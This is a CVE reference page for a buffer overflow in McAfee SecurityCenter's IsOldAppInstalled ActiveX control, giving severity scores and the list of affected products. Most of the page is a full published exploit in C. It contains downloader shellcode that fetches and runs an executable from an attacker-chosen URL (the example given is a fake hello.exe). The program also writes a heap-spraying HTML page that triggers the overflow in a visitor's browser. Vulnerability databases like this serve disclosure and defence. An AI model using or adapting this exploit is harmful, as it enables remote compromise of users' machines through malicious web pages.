Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Buffer overflow in the IsOldAppInstalled function in the McSubMgr.McSubMgr Subscription Manager ActiveX control (MCSUBMGR.DLL) in McAfee SecurityCenter before 6.0.25 and 7.x before 7.2.147 allows remote attackers to execute arbitrary code via a crafted argument.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 10 | AV:N/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 3893
Publication date : 2007-05-09 22h00 +00:00
Author : Jambalaya
EDB Verified : Yes
/*
McAfee Security Center IsOldAppInstalled ActiveX Buffer Overflow Vulnerability
Peel the frame from axis,Thanks
Test on Windows2000 and dll version Mcsubmgr.dll 6.0.0.15
Greetz to OYXin, sowhat, Winny Thomas and 0x557 team
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
FILE *fp = NULL;
char *file = "McAfee_exploit.html";
char *url = NULL;
//Downloader shellcode
unsigned char sc[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x3c\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x34\x99\x99\x99\xC3\x12\x6B\xAA"
"\x59\x35\xA4\x01\x99\x99\x99\xEC\x6F\x18\x75\x51\x99\x99\x99\x12"
"\x6D\x10\xCF\xBD\x71\x0C\x99\x99\x99\xAA\x42\x10\x9F\x66\xAF\xF1"
"\x17\xD7\x97\x75\x71\x34\x99\x99\x99\x10\xDF\x91\xF1\xF5\xF5\x99"
"\x99\xF1\xF6\xF7\xB7\xFD\xF1\xEC\xEB\xF5\xF4\xCD\x66\xCF\x91\x10"
"\xDF\x9D\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x11\x99\x99\x99\x10\xDF"
"\x95\x66\xAF\xF1\x01\x67\x13\x97\x71\xE0\x99\x99\x99\x10\xDF\x8D"
"\x66\xAF\xF1\xBC\x29\x66\x5B\x71\xF3\x99\x99\x99\x10\xDF\x81\x66"
"\xEF\x9D\xF1\xAF\x83\xB6\xE9\x71\xC3\x99\x99\x99\x10\xDF\x89\xF3"
"\xFC\xF1\xEA\xB7\xFC\xE1\x10\xFF\x85\x66\xEF\x85\x66\xCF\x81\xAA"
"\x50\xC8\xC8\x66\xEF\x85\x66\xEF\xBD\xC8\x66\xCF\x89\xAA\x50\xC8"
"\x66\xEF\x85\x66\xCF\x8D\x66\xCF\x95\x70\x19\x99\x99\x99\xCC\xCF"
"\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12\xE9\x85"
"\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99\x99\x12"
"\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81\x12\xDC"
"\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A\x44\x7A"
"\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3\x5D\xED"
"\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3"
"\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A"
"\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99\x71\x50"
"\x67\x66\x66";
unsigned char sc_2[] = "\x98";
char * header =
"<!-- McAfee exploit:) Jambalaya-->\n\n"
"<html>\n"
"<object classid=\"clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602\" id='target'></object>\n"
"<body>\n"
"<SCRIPT language=\"javascript\">\n"
"\tvar heapSprayToAddress = 0x05050505;\n"
"\tvar shellcode = unescape(\"%u9090\"+\"%u9090\"+ \n";
char * footer =
"\n"
"var heapBlockSize = 0x400000;\n"
"var payLoadSize = shellcode.length * 2;\n"
"var spraySlideSize = heapBlockSize - (payLoadSize+0x38);\n"
"var spraySlide = unescape(\"%u0505%u0505\");\n"
"spraySlide = getSpraySlide(spraySlide,spraySlideSize);\n"
"heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;\n"
"memory = new Array();\n\n"
"for (i=0;i<heapBlocks;i++)\n{\n"
"\t\tmemory[i] = spraySlide + shellcode;\n}\n"
"var padding = String.fromCharCode(0x05);\n"
"while( padding.length< 500)\n"
"{\npadding +=padding;\n}\n"
"var str = padding.substring(0,500);\n"
"var arg2=\"defaultV\";\n"
"target.IsOldAppInstalled(str, arg2);\n"
"function getSpraySlide(spraySlide, spraySlideSize)\n{\n\t"
"while (spraySlide.length*2<spraySlideSize)\n\t"
"{\n\t\tspraySlide += spraySlide;\n\t}\n"
"\tspraySlide = spraySlide.substring(0,spraySlideSize/2);\n\treturn spraySlide;\n}\n\n"
"</script>\n";
char * trigger_1 =
"</body>\n"
"</html>\n";
// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
int i;
for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("\"\n\"");
fprintf(fp, "%s", "\" +\n\"");
}
else
{
printf("\"");
fprintf(fp, "%s", "\"");
}
}
printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}
printf("\";\n");
fprintf(fp, "%s", "\");\n");
fflush(fp);
}
void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
int sc_len = 0;
int n;
if (argc < 2)
{
printf("#######################################\n");
printf("#\tMcAfee Security Center IsOldAppInstalled exploit by Jambalaya:>\n");
printf("#\ttest on Windows2000 and dll version Mcsubmgr.dll 6.0.0.15:>\n");
printf("#\tReference : http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/054183.html\n");
printf("#\t100%% successful\? who knows\;\)\n");
printf("\r\nUsage: %s <URL> [htmlfile]\n", argv[0]);
printf("\r\nE.g.: %s http://www.fakename.com/hello.exe exploit.html\r\n\n", argv[0]);
exit(1);
}
url = argv[1];
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
return;
}
printf("[+] download url:%s\n", url);
if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);
fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}
//build evil html file
fprintf(fp, "%s", header);
fflush(fp);
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));
sc_len += strlen(url);
memcpy(buf+sc_len, sc_2, 1);
sc_len += 1;
PrintPayLoad((char *)buf, sc_len);
fprintf(fp, "%s", footer);
fflush(fp);
fprintf(fp, "%s", trigger_1);
fflush(fp);
printf("[+] exploit write to %s success!\n", file);
}
// milw0rm.com [2007-05-10]
Products Mentioned
Configuraton 0
Mcafee>>Security_center >> Version 4.3
- Mcafee>>Security_center >> Version 4.3 (Open CPE detail)
Mcafee>>Security_center >> Version 6.0
- Mcafee>>Security_center >> Version 6.0 (Open CPE detail)
Mcafee>>Security_center >> Version 6.0.22
- Mcafee>>Security_center >> Version 6.0.22 (Open CPE detail)
Mcafee>>Security_center >> Version 7.0
- Mcafee>>Security_center >> Version 7.0 (Open CPE detail)
Mcafee>>Security_center >> Version 7.1
- Mcafee>>Security_center >> Version 7.1 (Open CPE detail)
Mcafee>>Security_center >> Version 7.2
- Mcafee>>Security_center >> Version 7.2 (Open CPE detail)
Mcafee>>Securitycenter_agent >> Version 6.0
- Mcafee>>Securitycenter_agent >> Version 6.0 (Open CPE detail)
Mcafee>>Virusscan >> Version 10.0.27
- Mcafee>>Virusscan >> Version 10.0.27 (Open CPE detail)
Mcafee>>Virusscan >> Version 2004
Mcafee>>Virusscan >> Version 2005
References
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=528
Tags : third-party-advisory, x_refsource_IDEFENSE
Tags : third-party-advisory, x_refsource_IDEFENSE
2025©
tesweb SA
